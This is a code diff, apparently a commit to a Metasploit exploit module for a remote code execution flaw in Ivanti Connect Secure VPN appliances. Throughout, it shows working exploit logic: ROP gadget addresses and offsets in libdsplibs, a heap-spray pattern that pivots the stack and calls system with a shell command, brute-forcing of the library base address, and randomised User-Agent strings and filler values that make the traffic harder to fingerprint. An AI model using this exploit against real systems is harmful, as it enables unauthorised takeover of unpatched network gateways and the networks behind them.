@@ -80,7 +80,7 @@ def initialize(info = {})
80
80
[
81
81
OptInt . new ( 'MAX_THREADS' , [ true , 'Max threads to use when spraying' , 32 ] ) ,
82
82
OptInt . new ( 'WEB_CHILDREN' , [ true , 'The number of /home/bin/web child processes' , 4 ] ) ,
83
- OptInt . new ( 'LIBDSPLIBS_ADDRESS' , [ true , 'Base address of libdsplibs' , 0xf6426000 ] ) ,
83
+ OptInt . new ( 'LIBDSPLIBS_ADDRESS' , [ true , 'Lowest possible base address of libdsplibs' , 0xf6426000 ] ) ,
84
84
OptInt . new ( 'BRUTEFORCE_ATTEMPTS' , [ true , 'The number of attempts to brute force the base address of libdsplibs' , 256 ] ) ,
85
85
]
86
86
)
@@ -125,7 +125,7 @@ def url_schema
125
125
def check
126
126
print_status ( "Checking the product version for #{ url_schema } ://#{ rhost } :#{ rport } " )
127
127
128
- # This has been fixed in version 22.7R2.6, which correspond to 22.7.2 (build 3981)
128
+ # This has been fixed in version 22.7R2.6, which corresponds to 22.7.2 (build 3981)
129
129
# see https://help.ivanti.com/ps/help/en_US/ICS/22.x/22.7R2/22.xICSRN.pdf
130
130
if Rex ::Version . new ( product_version ) < Rex ::Version . new ( '22.7.2.3981' )
131
131
return CheckCode ::Appears ( "Detected version: #{ product_version } " )
@@ -141,13 +141,10 @@ def target_data
141
141
# 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
142
142
'22.7.2.3597' => {
143
143
overflow_length : 622 ,
144
- # 0x0050c7e6: mov esp, ebp; pop ebp; ret;
145
- gadget_mov_esp_ebp_pop_ret : 0x0050c7e6 ,
144
+ gadget_mov_esp_ebp_pop_ret : 0x0050c7e6 , # mov esp, ebp; pop ebp; ret;
146
145
offset_to_got_plt : 0x0157c000 ,
147
- # 0x00033222: pop ebx; ret;
148
- gadget_pop_ebx_ret : 0x00033222 ,
149
- # 0x0087E31F mov [esp], edi; call __ZN5DSSys18isInterfaceEnabledEPKc;
150
- gadget_call_system : 0x0087E31F
146
+ gadget_pop_ebx_ret : 0x00033222 , # pop ebx; ret;
147
+ gadget_call_system : 0x0087E31F # mov [esp], edi; call __ZN5DSSys18isInterfaceEnabledEPKc;
151
148
}
152
149
}
153
150
end
@@ -160,6 +157,35 @@ def send_http_data(data)
160
157
raise IvantiNetworkError , "[send_http_data] Error with the socket: #{ e } "
161
158
end
162
159
160
+ def user_agent
161
+ return @user_agent if @user_agent
162
+
163
+ # list of valid versions from OpenConnect git repository (https://gitlab.com/openconnect/openconnect)
164
+ # command used to generate this list: `for tag in HEAD v9.12 v9.11 v9.10; do for i in $(seq 5); do git describe --tags ${tag}~${i}; done; done`
165
+ @user_agent = %w[
166
+ v9.12-199-g06afc42b
167
+ v9.12-198-gb82f00f7
168
+ v9.12-196-g32971c1b
169
+ v9.12-195-g9fe01919
170
+ v9.12-193-ge4cc8a65
171
+ v9.11-21-g3bc9d788
172
+ v9.11-20-g3f4f3415
173
+ v9.11-19-gf6d2c8d8
174
+ v9.11-18-g0b47190f
175
+ v9.11-17-g4ca0aa1b
176
+ v9.10-26-gd40f4370
177
+ v9.10-24-g5d1b0883
178
+ v9.10-22-gbaa80279
179
+ v9.10-21-g3fbba481
180
+ v9.10-17-g15b4c533
181
+ v9.01-189-g5aca5431
182
+ v9.01-188-gb6b85208
183
+ v9.01-187-g299d4444
184
+ v9.01-186-gab5f1639
185
+ v9.01-185-g77838371
186
+ ] . sample
187
+ end
188
+
163
189
def make_connections
164
190
print_status ( 'Making connections...' )
165
191
@@ -175,7 +201,7 @@ def make_connections
175
201
176
202
body = "GET / HTTP/1.1\r \n "
177
203
body << "Host: #{ rhost } :#{ rport } \r \n "
178
- body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty \r \n "
204
+ body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent #{ user_agent } \r \n "
179
205
body << "Content-Type: EAP\r \n "
180
206
body << "Upgrade: IF-T/TLS 1.0\r \n "
181
207
body << "Content-Length: 0\r \n "
@@ -202,55 +228,55 @@ def make_connections
202
228
def spray ( libdsplibs_base )
203
229
print_status ( 'Spraying...' )
204
230
205
- padding = 'D' * 128
231
+ padding = rand_text ( 128 )
206
232
207
233
spray_pattern = [
208
- # DWORD , # Address where it will be found after the heap spray
209
- 0xCAFEF00D , # 0x39393818:
210
- 0xCAFEF01D , # 0x3939381C:
211
- 0xCAFEF02D , # 0x39393820:
212
- 0xCAFEF03D , # 0x39393824:
234
+ # DWORD , # Address where the DWORD will be located after the heap spray
235
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393818:
236
+ SecureRandom . rand ( 2 ** 32 ) , # 0x3939381C:
237
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393820:
238
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393824:
213
239
214
240
libdsplibs_base + @target [ :gadget_mov_esp_ebp_pop_ret ] , # 0x39393828: <--- initial eip control, stack pivot gadget.
215
241
0x39393828 - 0x10 , # 0x3939382C:
216
- 0xCAFEF06D , # 0x39393830: <--- points here @ ebp (rop: pop ebp)
242
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393830: <--- points here @ ebp (rop: pop ebp)
217
243
libdsplibs_base + @target [ :gadget_pop_ebx_ret ] , # 0x39393834:
218
244
219
245
libdsplibs_base + @target [ :offset_to_got_plt ] , # 0x39393838: <--- eax (rop pop ebx)
220
246
libdsplibs_base + @target [ :gadget_call_system ] , # 0x3939383C:
221
- 0xCAFEF0AD , # 0x39393840:
222
- 0xCAFEF0BD , # 0x39393844:
247
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393840:
248
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393844:
223
249
224
- 0xCAFEF0CD , # 0x39393848:
225
- 0xCAFEF0DD , # 0x3939384C:
226
- 0xCAFEF0ED , # 0x39393850:
227
- 0xCAFEF0FD , # 0x39393854:
250
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393848:
251
+ SecureRandom . rand ( 2 ** 32 ) , # 0x3939384C:
252
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393850:
253
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393854:
228
254
229
- 0xCAFEF10D , # 0x39393858:
230
- 0x3939382C , # 0x3939385C: <--- 0x39393830+0x2c ->> edx 0x3939382C
231
- 0xCAFEF12D , # 0x39393860:
232
- 0xCAFEF13D , # 0x39393864:
255
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393858:
256
+ 0x3939382C , # 0x3939385C: <--- ctx->dword2C (0x39393830+0x2c)
257
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393860:
258
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393864:
233
259
234
260
0x39393918 , # 0x39393868: <--- ptr to shell_cmd, referenced @ edi
235
- 0xCAFEF15D , # 0x3939386C:
236
- 0xCAFEF16D , # 0x39393870:
237
- 0xCAFEF17D , # 0x39393874:
261
+ SecureRandom . rand ( 2 ** 32 ) , # 0x3939386C:
262
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393870:
263
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393874:
238
264
239
- 0xCAFEF18D , # 0x39393878:
240
- 0xCAFEF19D , # 0x3939387C:
241
- 0xCAFEF1AD , # 0x39393880:
242
- 0xCAFEF1BD , # 0x39393884:
265
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393878:
266
+ SecureRandom . rand ( 2 ** 32 ) , # 0x3939387C:
267
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393880:
268
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393884:
243
269
244
- 0xCAFEF1CD , # 0x39393888:
245
- 0x41414141 , # 0x3939388C: <--- last EIP after payload exits.
246
- 0xCAFEF1ED , # 0x39393890:
247
- 0x00000000 # 0x39393894: 0x39393830+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.
270
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393888:
271
+ SecureRandom . rand ( 2 ** 32 ) , # 0x3939388C:
272
+ SecureRandom . rand ( 2 ** 32 ) , # 0x39393890:
273
+ 0x00000000 # 0x39393894: 0x39393830+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.
248
274
249
275
# padding...
250
276
# 0x39393918: shell_cmd @ edi
251
277
] . pack ( 'V*' ) + padding + @shell_cmd
252
278
253
- fail_with ( Failure ::BadConfig , 'spray_pattern should be 256 bytes' ) unless spray_pattern . length == 512
279
+ fail_with ( Failure ::BadConfig , 'spray_pattern should be 512 bytes' ) unless spray_pattern . length == 512
254
280
255
281
heap_buffer = spray_pattern * ( ( 1024 * 1024 * 3 ) / spray_pattern . length )
256
282
@@ -351,7 +377,7 @@ def exploit
351
377
libdsplibs_base = datastore [ 'LIBDSPLIBS_ADDRESS' ]
352
378
353
379
_ , elapsed_time = Rex ::Stopwatch . elapsed_time do
354
- # with 8 bits of entroy , we should guess correctly every ~256 attempts (2**8).
380
+ # with 8 bits of entropy , we should guess correctly every ~256 attempts (2**8).
355
381
0 . upto ( datastore [ 'BRUTEFORCE_ATTEMPTS' ] - 1 ) do
356
382
_ , attempt_elapsed_time = Rex ::Stopwatch . elapsed_time do
357
383
attempt_exploit ( libdsplibs_base )
0 commit comments